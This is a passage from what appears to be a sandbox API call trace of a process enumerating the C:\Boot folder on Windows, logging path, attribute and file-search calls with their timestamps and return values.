ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edda0) returned 1 [0121.754] GetFullPathNameW (in: lpFileName="C:\\Boot\\BCD.LOG2", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BCD.LOG2", lpFilePart=0x0) returned 0x10 [0121.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edde0) returned 1 [0121.754] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), fInfoLevelId=0x0, lpFileInformation=0x1edec0 | out: lpFileInformation=0x1edec0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edda0) returned 1 [0121.754] GetFullPathNameW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BOOTSTAT.DAT", lpFilePart=0x0) returned 0x14 [0121.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edde0) returned 1 [0121.754] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x1edec0 | out: lpFileInformation=0x1edec0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0121.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edda0) returned 1 [0121.755] GetFullPathNameW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BOOTSTAT.DAT", lpFilePart=0x0) returned 0x14 [0121.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edde0) returned 1 [0121.756] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), fInfoLevelId=0x0, lpFileInformation=0x1edec0 | out: lpFileInformation=0x1edec0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0121.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edda0) returned 1 [0121.756] GetFullPathNameW (in: lpFileName="C:\\Boot\\memtest.exe", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\memtest.exe", lpFilePart=0x0) returned 0x13 [0121.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edde0) returned 1 [0121.756] GetFileAttributesExW (in: lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), fInfoLevelId=0x0, lpFileInformation=0x1edec0 | out: lpFileInformation=0x1edec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980)) returned 1 [0121.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edda0) returned 1 [0121.757] GetFullPathNameW (in: lpFileName="C:\\Boot\\memtest.exe", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\memtest.exe", lpFilePart=0x0) returned 0x13 [0121.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edde0) returned 1 [0121.758] GetFileAttributesExW (in: lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), fInfoLevelId=0x0, lpFileInformation=0x1edec0 | out: lpFileInformation=0x1edec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980)) returned 1 [0121.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edda0) returned 1 [0121.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede00) returned 1 [0121.758] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0121.758] GetFullPathNameW (in: lpFileName="C:\\Boot\\", nBufferLength=0x105, lpBuffer=0x1ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\", lpFilePart=0x0) returned 0x8 [0121.758] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x1edaa0 | out: lpFindFileData=0x1edaa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0121.758] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.758] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd70c6e10, ftLastAccessTime.dwHighDateTime=0x1d5e888, ftLastWriteTime.dwLowDateTime=0xd70c6e10, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0121.759] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd6e3f6b0, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0121.759] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0121.759] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0121.759] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0121.760] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43cb740, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0121.760] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43cb740, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0121.760] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0121.760] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0121.760] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0121.760] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0121.761] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0121.761] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4652ea0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4652ea0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0121.761] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0121.761] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0121.761] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0121.761] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0121.761] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0121.762] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0121.762] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd443db60, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0121.762] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd443db60, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0121.763] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd443db60, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0121.763] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0121.763] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0121.763] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0121.763] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0121.764] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0121.764] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0121.764] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0121.765] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0121.765] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.765] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edd50) returned 1 [0121.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edd10) returned 1 [0121.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.765] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x0) returned 0xd [0121.766] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ\\", lpFilePart=0x0) returned 0xe [0121.768] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43cb740, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.768] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.768] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, 